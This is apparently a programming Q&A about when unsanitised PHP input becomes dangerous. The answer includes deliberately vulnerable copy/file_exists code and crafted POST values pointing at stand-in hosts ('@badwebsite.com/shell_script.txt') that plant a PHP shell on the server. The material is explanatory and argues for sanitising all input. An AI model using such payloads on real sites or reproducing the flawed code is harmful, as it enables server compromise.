PHP漏洞(XSS,...)>用户输入/ url注入何时实际上会造成伤害?

Hope this question is not too unspecific, so...

My question is, when do I actually have to pay attention on how I handle vulnerable variables and when do I not. E.g. it's obviously insecure to use something like ...

echo $_POST['username']; // insecure !!!

in your template. $_GET and $_SERVER variables are said to be vulnerable as well. So I'll have to sanitize them before 'using' them. But what means to 'use' in this context. Insecure would be e.g. to output them e.g. with echo, to write them unfiltered into a DB or to put them in any other open context. On the other hand, comparing them with other variables like in ...

if ($_SESSION['username'] === $_POST['username']) {};

or embedding them into a variable like ...

$file = 'http://www.example.com/users/' . $_POST['username']; // insecure !!! see Tom's answer

and then checking ...

if (file_exists($file)) {};

..., in other words keeping them in a somehow closed context is secure, isn't it? (It seems to me, that the $file-example could be considered as borderline in terms of security, but used that way, I think it's ok?). Maybe someone knows also of cases in which the distinction between open and closed context is not as clear (as I hope they are in my examples) to put attention to them.

Thank you

It depends on what you're going to do with that file. The username field can pass something that would point you to a file not on that website like:

$_POST['username'] = '@not-the-site-you-want.com/bad_stuff.html';
$file = 'http://www.example.com' . $_POST['username'];

Will resolve to http://not-the-site-you-want.com/bad_stuff.html and will still return true for file_exists($file);.

Lets try a "real world" example of why you don't want to just inject $_POST variables and then trust the results.

Lets say we're going to retrieve a user's picture from an online source (like this one: http://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50) and store it locally:

$username = $_POST['username'];
// We expect 'hash' to contain '/avatar/205e460b479e2e5b48aec07710c08d50'
// See @SilverlightFox's comments below for more information.
$image = 'http://www.gravatar.com' . $_POST['hash'];
if (file_exists($file)) {
    // Now we have the image stored on our local system
    copy($image, 'assets/' . $username);
}

User provides the following information:

$_POST['username'] = 'shell_script.php';
$_POST['hash'] = '@badwebsite.com/shell_script.txt';

You've now just uploaded a shell script to your website that will be accessible at http://www.mywebsite.com/assets/shell_script.php

Half of security is knowing the basics and putting in restrictions. The other half is figuring out how someone could get around the restrictions you've put in place. You're code could be immune to SQL injections and XSS, but it you pass a is_admin flag as a parameter in each page request and honour it, then someone is going to find it and abuse.

You should get in the habit of always assuming something malicious will be tried with code you write if it's exposed to the world at large. If you spend your time worrying about which inputs you need to sanitize and which ones you don't, you will make mistakes that leave your application vulnerable.

Sanitizing input doesn't take that much effort once you learn how, and if you get in the habit of doing so you will reduce the area of exposure that can be attacked. Application security isn't about "only fixing the important things", it's about building the entire application with security in mind.

Don't make the bad people's jobs easier.